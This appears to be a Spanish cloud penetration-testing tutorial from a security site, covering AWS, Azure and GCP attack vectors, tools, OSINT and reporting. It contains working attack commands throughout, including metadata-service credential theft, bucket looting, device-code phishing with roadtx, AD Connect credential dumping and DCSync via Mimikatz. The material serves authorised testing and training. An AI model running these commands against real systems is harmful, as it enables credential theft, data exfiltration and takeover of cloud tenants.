> ## Documentation Index
> Fetch the complete documentation index at: https://rootea.es/llms.txt
> Use this file to discover all available pages before exploring further.

# Cloud Pentest — AWS · Azure · GCP

> Top vectores explotables en cloud 2024-2026: SSRF a IMDS, IAM privesc paths, S3 buckets, Entra ID device code, Managed Identities, ConfusedFunction, herramientas (Pacu, CloudFox, ROADtools, AzureHound).

<script type="application/ld+json">
  {`{"@context":"https://schema.org","@type":"TechArticle","name":"Cloud Pentesting AWS Azure GCP 2024-2026","description":"Vectores de explotación cloud actuales con herramientas modernas","inLanguage":"es","url":"https://rootea.es/cloud-pentest","author":{"@type":"Organization","name":"rootea.es","url":"https://rootea.es"},"datePublished":"2026-05-05","dateModified":"2026-05-05","keywords":"AWS pentest, Azure pentest, GCP pentest, IMDS, Pacu, CloudFox, ROADtools, AzureHound"}`}
</script>

<script type="application/ld+json">
  {`{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Inicio","item":"https://rootea.es"},{"@type":"ListItem","position":2,"name":"Avanzado","item":"https://rootea.es/cloud-pentest"},{"@type":"ListItem","position":3,"name":"Cloud Pentest","item":"https://rootea.es/cloud-pentest"}]}`}
</script>

# Cloud Pentest — AWS, Azure, GCP

En 2026 el **70 %+ de la infraestructura corporativa** vive en
cloud. Si tu metodología sigue siendo `nmap` + AD on-prem,
ignoras la mayor parte del perímetro. **El 99 % de las brechas
cloud hasta 2025** vienen de **misconfiguraciones del cliente**,
no de fallos del proveedor (Gartner).

<Note>
  Los tres cloud comparten concepto (shared responsibility,
  identidades, tokens efímeros) pero **divergen totalmente** en su
  modelo de permisos. Atacar AWS con mentalidad de Azure es
  perderse el 80 % de los vectores reales.
</Note>

## Shared responsibility — frontera del pentester

| Concepto            | AWS IAM                                     | Azure RBAC                                               | GCP IAM                                                                         |
| ------------------- | ------------------------------------------- | -------------------------------------------------------- | ------------------------------------------------------------------------------- |
| Modelo              | Política JSON adjunta a usuario/rol/recurso | Asignación de rol sobre scope (MG > Sub > RG > Resource) | Binding (member, role, resource) en jerarquía Org > Folder > Project > Resource |
| Token efímero       | STS `AssumeRole` (1h-12h)                   | Managed Identity / Token federado                        | Service Account impersonation                                                   |
| Privesc emblemática | `iam:PassRole` + lambda/ec2                 | `Owner` sobre Managed Identity                           | `iam.serviceAccountTokenCreator`                                                |
| Auditoría           | CloudTrail                                  | Entra Sign-in Logs + Activity Log                        | Cloud Audit Logs                                                                |

**Frontera del pentester** según las "Customer Support Policy for
Penetration Testing":

* **AWS:** EC2, RDS, CloudFront, Aurora, API Gateway, Lambda,
  Lightsail, Elastic Beanstalk **sin pre-aprobación**. DDoS y
  simulación DNS-attack siguen requiriendo formulario.
* **Azure:** cualquier recurso del tenant del cliente sin
  notificación previa desde 2022, salvo DDoS sustained > 200 Gbps.
* **GCP:** política "Customer Projects in Scope".

***

## AWS — Top 10 vectores explotables 2026

### 1. SSRF a IMDSv1 (vs IMDSv2 con hop-limit)

IMDSv2 exige un PUT con TTL=1, lo que mata la SSRF clásica vía
proxies inversos. **Sigue siendo explotable** si: la app sigue
redirects HTTP, la SSRF está a nivel aplicación (no proxy),
IMDSv1 sigue habilitado en AMIs antiguas, o el hop-limit se subió
a 2 para soportar contenedores.

```bash theme={null}
# IMDSv2: obtener token y robar credenciales
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
```

### 2. IAM Privilege Escalation (los 21+ paths de Rhino)

Rhino Security Labs cataloga **21 paths** base + adiciones.
Ejemplos clave: `iam:CreateAccessKey`, `iam:CreateLoginProfile`,
`iam:UpdateAssumeRolePolicy`, `iam:AttachUserPolicy`,
`iam:PutUserPolicy`, `lambda:CreateFunction + iam:PassRole`,
`sagemaker:CreateNotebookInstance + iam:PassRole`,
`glue:CreateDevEndpoint + iam:PassRole`, `cloudformation:CreateStack`,
`ec2:RunInstances + iam:PassRole`.

```bash theme={null}
pacu> set_keys
pacu> run iam__enum_permissions
pacu> run iam__privesc_scan   # auto-exploit
```

### 3. S3 buckets públicos (cómo se cuela en 2026)

A pesar de "Block Public Access" por defecto desde 2023:
**GrayHatWarfare** indexó >270.000 PDFs sensibles del NACH bank
en agosto 2025; el **23 % de los incidentes cloud 2025** vienen
de buckets mal configurados.

```bash theme={null}
aws s3 ls s3://target-bucket/ --no-sign-request
aws s3 sync s3://target-bucket/ ./loot/ --no-sign-request

# OSINT
curl "https://buckets.grayhatwarfare.com/api/v2/buckets?keywords=target"
```

### 4. Lambda con env vars en plaintext

Cualquiera con `lambda:GetFunction` lee las env vars; en
CloudFormation se ven también con `cloudformation:GetTemplate`.
Patrón: tokens de Stripe/Mailgun/Sendgrid hardcodeados.

```bash theme={null}
aws lambda list-functions --query 'Functions[*].FunctionName'
aws lambda get-function-configuration --function-name <fn> \
  --query 'Environment.Variables'

cloudfox aws lambdas-and-ec2-userdata --profile target
```

### 5. SSM Session Manager abuse

Con `ssm:StartSession` + `ec2:DescribeInstances` un atacante
salta a cualquier EC2. **Nuevo 2023-2025**: el agente SSM se
puede registrar en una cuenta atacante y actuar como **RAT
cross-account** sin tocar CloudTrail de la víctima.

```bash theme={null}
aws ssm describe-instance-information
aws ssm start-session --target i-0abcd1234efgh5678
```

### 6. Cross-account confused deputy

Service que asume rol cross-account sin condición `sts:ExternalId`
ni `aws:SourceAccount`. Patrón típico en integraciones SaaS.

```bash theme={null}
aws sts assume-role \
  --role-arn arn:aws:iam::VICTIM:role/SaasIntegration \
  --role-session-name attacker
```

### 7. Cognito misconfiguration

Identity Pool con guest access concede credenciales STS sin
login. **Vulnerabilidad 2025**: mutación del atributo `email` en
token válido permite ATO cambiando el email a la víctima.

```bash theme={null}
aws cognito-identity get-id \
  --identity-pool-id us-east-1:abcd-1234 --region us-east-1
aws cognito-identity get-credentials-for-identity \
  --identity-id us-east-1:....
```

### 8. CloudTrail blind spots

**Permiso whitespace-padding (Permiso research):** políticas IAM
entre 102.401 y 131.072 chars hacen que `requestParameters`
salga como `omitted:true` en CloudTrail. Adversarios usan
`PutEventSelectors`, `StopEventDataStoreIngestion`,
`PutInsightSelectors` en lugar del clásico `StopLogging`.

### 9. ECS/EKS escape vectors

**ECScape** (Sweet Security 2025): un container low-priv en ECS
suplanta al ECS agent y obtiene credenciales del task execution
role + de cualquier task vecina, accediendo a `169.254.170.2`.
EKS: nodos con IRSA mal definidas permiten que un pod robe el rol
de otro ServiceAccount.

```bash theme={null}
# Dentro del pod/container
curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
```

### 10. Stack post-explotación

```bash theme={null}
# CloudFox - reconocimiento exhaustivo
cloudfox aws all-checks --profile target
cloudfox aws permissions --principal user/alice --profile target
cloudfox aws secrets --profile target

# Pacu
pacu --session demo
pacu> import_keys default
pacu> run aws__enum_account
pacu> run iam__bruteforce_permissions
pacu> run s3__bucket_finder
```

***

## Azure — Top 10 vectores explotables 2026

### 1. Entra ID device code phishing

**Storm-2372** (feb 2025) y **AI-enabled device code campaigns**
(abril 2026) consolidan device code flow como vector dominante.

```bash theme={null}
# roadtx genera el flujo
roadtx devicecode -c 29d9ed98-a469-4536-ade2-f981bc1d605e \
  -r https://graph.microsoft.com
roadtx interactiveauth   # tras la víctima introduce el código
roadtx prtenrich         # pivota a PRT registrando dispositivo
```

### 2. App Registrations con secrets en repos

Buscar `clientSecret`, `client_secret`, `app_secret` + tenant
GUID en GitHub/Sourcegraph. Con `(tenantId, clientId, clientSecret)`
se solicita token Graph y se actúa como la app.

```bash theme={null}
curl -X POST "https://login.microsoftonline.com/$TID/oauth2/v2.0/token" \
  -d "client_id=$CID&scope=https://graph.microsoft.com/.default&client_secret=$CSEC&grant_type=client_credentials"
```

### 3. Managed Identities abuse

Una VM/Function/App Service con MI puede pedir token al endpoint
`169.254.169.254` (System-assigned) o `IDENTITY_ENDPOINT`
(User-assigned). MI con `Contributor` o `Key Vault Secrets User`
\= movimiento lateral total.

```bash theme={null}
# Desde VM Linux comprometida
curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net" \
  -H "Metadata: true"

az login --identity
az keyvault secret show --vault-name target-kv --name dbpass
```

### 4. Azure Functions privilege escalation

CVE-2025-59273 (Event Grid) permite payloads no validados en
Functions/Logic Apps. CVE-2025-62207 (Azure Monitor) SSRF →
privesc. Históricamente "Royal Flush": contenedores Functions con
`--privileged` permiten escape a host.

### 5. Storage Account anonymous access

Listado anónimo via `?restype=container&comp=list`. **STORM-0501**
(campaña ransomware 2025) usa este vector para exfil.

```bash theme={null}
curl "https://victim.blob.core.windows.net/\$logs?restype=container&comp=list"
curl "https://victim.blob.core.windows.net/?comp=list"
```

### 6. Key Vault permission misconfigs

`Contributor` puede modificar Access Policies del KV (modelo
legacy) y leer secrets sin ser KV-admin formalmente.

```bash theme={null}
az keyvault list
az keyvault secret list --vault-name target-kv
az keyvault secret show --vault-name target-kv --name connectionstring
```

### 7. Conditional Access bypass

**CVE-2025-55241** (Dirk-jan Mollema, julio 2025): tokens
cross-tenant que evadían CA. Vectores genéricos: User Agents
legacy, IPs desde rangos no excluidos, FOCI app swap.

### 8. PIM elevation abuse

URLs PIM accesibles aunque "Restrict access to Microsoft Entra
admin center" esté activo. Si comprometes user con eligible role +
token previo a PIM activation, puedes activar el rol sin MFA en
algunos casos.

### 9. Lateral movement Entra → on-prem AD Connect

El servidor AD Connect mantiene la cuenta `MSOL_<random>` con
permisos DCSync. Local admin sobre el Sync server →
`aadconnectdump` o `AADInternals` extraen las credenciales
cifradas → DCSync → DA on-prem.

```powershell theme={null}
Import-Module AADInternals
Get-AADIntSyncCredentials   # dump MSOL hash desde AD Connect
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:corp.local /user:krbtgt"'
```

### 10. Stack post-explotación

```bash theme={null}
# ROADtools - enumeración completa post-token
roadrecon auth -u user@target.com -p 'pass'
roadrecon gather
roadrecon gui   # http://localhost:5000

# AzureHound (BloodHound CE 5.x)
JWT=$(az account get-access-token --resource https://graph.microsoft.com | jq -r .accessToken)
azurehound list --jwt "$JWT" --tenant target.onmicrosoft.com -o azhound.json

# AADInternals
Get-AADIntLoginInformation -UserName user@target.com
Invoke-AADIntPhishing -Tenant <id> -PushNotification
```

***

## GCP — Top vectores

### 1. Service Account keys leakage

SAs con keys JSON en repos / S3 públicos. La key **NO caduca**
por defecto.

```bash theme={null}
gcloud auth activate-service-account --key-file=key.json
gcloud projects list
```

### 2. Compute Engine metadata SSRF

GCP exige header `Metadata-Flavor: Google` desde 2019. Endpoint
clave: `http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token`.

```bash theme={null}
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
```

### 3. IAM hierarchy escalation

Permisos clave para privesc total:

* `iam.serviceAccountTokenCreator` — generar tokens de cualquier SA
* `iam.serviceAccountKeyAdmin` — crear keys nuevas
* `cloudfunctions.functions.update + actAs` — pivot a SA arbitraria
* `compute.instances.setMetadata` — inyectar SSH key en startup script

```bash theme={null}
gcloud iam service-accounts get-iam-policy target-sa@p.iam.gserviceaccount.com
gcloud iam service-accounts keys create key.json \
  --iam-account=target-sa@p.iam.gserviceaccount.com
```

### 4. ConfusedFunction (Tenable 2024)

Crear/actualizar Cloud Function adjunta el SA
`<projnum>@cloudbuild.gserviceaccount.com` con rol Editor por
defecto, lo que permite escalar a Editor del project.

```bash theme={null}
gcloud functions deploy evil --runtime python311 \
  --trigger-http --entry-point main --source . \
  --service-account target@p.iam.gserviceaccount.com
```

### 5. Stack OSINT y post-explotación

```bash theme={null}
# GCPBucketBrute
python3 gcpbucketbrute.py -k target-keyword -u            # unauth
python3 gcpbucketbrute.py -k target-keyword -f sa-key.json

# gcloud quick-wins
gcloud projects get-iam-policy <PROJECT> --format=json
gcloud auth print-access-token
gcloud secrets list && \
  gcloud secrets versions access latest --secret=<NAME>
```

***

## Herramientas modernas 2026

| Tool                               | Cloud                     | Uso típico                                        | Estado                                               |
| ---------------------------------- | ------------------------- | ------------------------------------------------- | ---------------------------------------------------- |
| **Pacu**                           | AWS                       | Exploitation framework, 35+ módulos               | Activo (Rhino)                                       |
| **CloudFox v1.17+**                | AWS / Azure / GCP         | Post-exploitation, 34 cmds AWS                    | Activo (Bishop Fox)                                  |
| **ROADtools / roadrecon / roadtx** | Azure / Entra             | Enumeración + token mgmt + device code            | Activo (Dirk-jan)                                    |
| **AADInternals**                   | Azure / M365              | PowerShell, federation backdoors, AD Connect dump | Activo                                               |
| **AzureHound + BloodHound CE 5.x** | Azure / Entra             | Path-finding via Cypher                           | Activo (SpecterOps)                                  |
| **GCPBucketBrute**                 | GCP                       | Bucket enum + privesc test                        | Activo (Rhino)                                       |
| **Prowler v5+**                    | Multi (AWS/Azure/GCP/K8s) | Audit CIS/NIST/PCI, 500+ checks                   | Muy activo                                           |
| **PurplePanda**                    | GCP / Azure / GitHub      | Privilege escalation paths                        | Activo                                               |
| **ScoutSuite**                     | Multi                     | Audit visual HTML                                 | **Deprecado de facto** (sin updates desde mayo 2024) |

***

## OSINT cloud específico

### Subdomain enum buckets

```bash theme={null}
# Permutaciones nombre + wordlist
python3 cloud_enum.py -k target -k target-corp
gobuster s3 -w wordlists/s3-buckets.txt \
  -b "target-,target-prod-,target-dev-"
```

### GitHub dorking — regex 2026

```
AWS_ACCESS_KEY_ID:        AKIA[0-9A-Z]{16}
AWS_SECRET_ACCESS_KEY:    [A-Za-z0-9/+=]{40}
Azure tenant + clientId:  [0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}
GCP SA key:               "type": "service_account"
```

```bash theme={null}
# Trufflehog v3 (verifica validez del secret online)
trufflehog github --org=target --only-verified

# Gitleaks (rápido, regex)
gitleaks detect --source . --report-format json --report-path leaks.json
```

GitGuardian: **28,65M secrets** filtrados en GitHub público en
2025, **+34 % YoY**.

### GrayHatWarfare + SourceGraph

```bash theme={null}
# GrayHatWarfare API
curl "https://buckets.grayhatwarfare.com/api/v2/buckets?keywords=target"
curl "https://buckets.grayhatwarfare.com/api/v2/files?keywords=db.sql"

# SourceGraph: AKIA[A-Z0-9]{16} content:.* file:\.env$
# https://sourcegraph.com/search
```

***

## Reportar hallazgos cloud

### CVSS aplicable (con contexto cloud)

| Hallazgo                               | CVSS           | Justificación            |
| -------------------------------------- | -------------- | ------------------------ |
| S3 bucket público con datos PII        | 7.5 (High)     | C alto, sin auth         |
| IAM rol con `iam:*` accesible vía SSRF | 9.8 (Critical) | C/I/A altos, AV:N        |
| MI con `Contributor` en sub            | 9.1 (Critical) | Privesc total tenant     |
| CloudTrail log evasion vía padding     | 5.3 (Medium)   | Solo I (integridad logs) |
| Cognito self-signup → guest STS        | 7.3 (High)     | C+I medio                |

Combinar siempre con **EPSS** (probabilidad explotación 30 días)
y contexto de negocio.

### Cuantificar impacto

* **Billing abuse:** coste-hora de instancias maliciosas (BTC
  mining: una `p3.16xlarge` cuesta \~25 USD/h). Reporta proyección
  a 30/90 días si la cuenta queda comprometida.
* **Data exfil:** tamaño bucket × precio salida (`$0.09/GB`
  outbound AWS) + valor regulatorio del dato.
* **Resource hijacking / LLMjacking** (2024-2025): Bedrock
  invokeModel, GPT en Azure OpenAI = facturación masiva.

### RGPD en cloud

* **Art. 33** notificación brecha 72h aplica al cliente cloud
  (sigue siendo Responsable del tratamiento).
* **Transferencias internacionales:** mapear regiones — usar
  EU-only (eu-west-3, westeurope, europe-west1) y verificar
  SCC + TIA tras Schrems II.
* **Art. 32** medidas técnicas: SSE-KMS (CMK), TLS 1.2+,
  pseudonimización, MFA obligatorio, trazabilidad (CloudTrail,
  Activity Log, Audit Logs).
* **DPIA obligatoria** si el sistema cloud trata categorías
  especiales a gran escala (Art. 35).

***

## Recursos

* [Hacking The Cloud](https://hackingthe.cloud) — Wiki por Rhino
* [Datadog Security Labs](https://securitylabs.datadoghq.com/)
* [Wiz Cloud Threat Reports](https://www.wiz.io/research)
* [NetSPI Cloud Pentesting blog](https://www.netspi.com/blog/technical-blog/cloud-pentesting/)
* [Bishop Fox CloudFox](https://github.com/BishopFox/cloudfox)
* [Rhino — AWS IAM PrivEsc](https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation)
* [Rhino — GCP IAM PrivEsc](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation)
* [Microsoft Storm-2372](https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/)
* [Tenable — ConfusedFunction](https://www.tenable.com/blog/confusedfunction-a-privilege-escalation-vulnerability-impacting-gcp-cloud-functions)

***

## Recursos relacionados

* [Recon web profesional](/recon-web) — Pasivo, fingerprinting,
  type confusion (común a cloud).
* [Glosario táctico](/glosario) — IAM, JA3, SSRF.
* [Plantilla de informe](/plantilla-informe) — CVSS y RGPD.
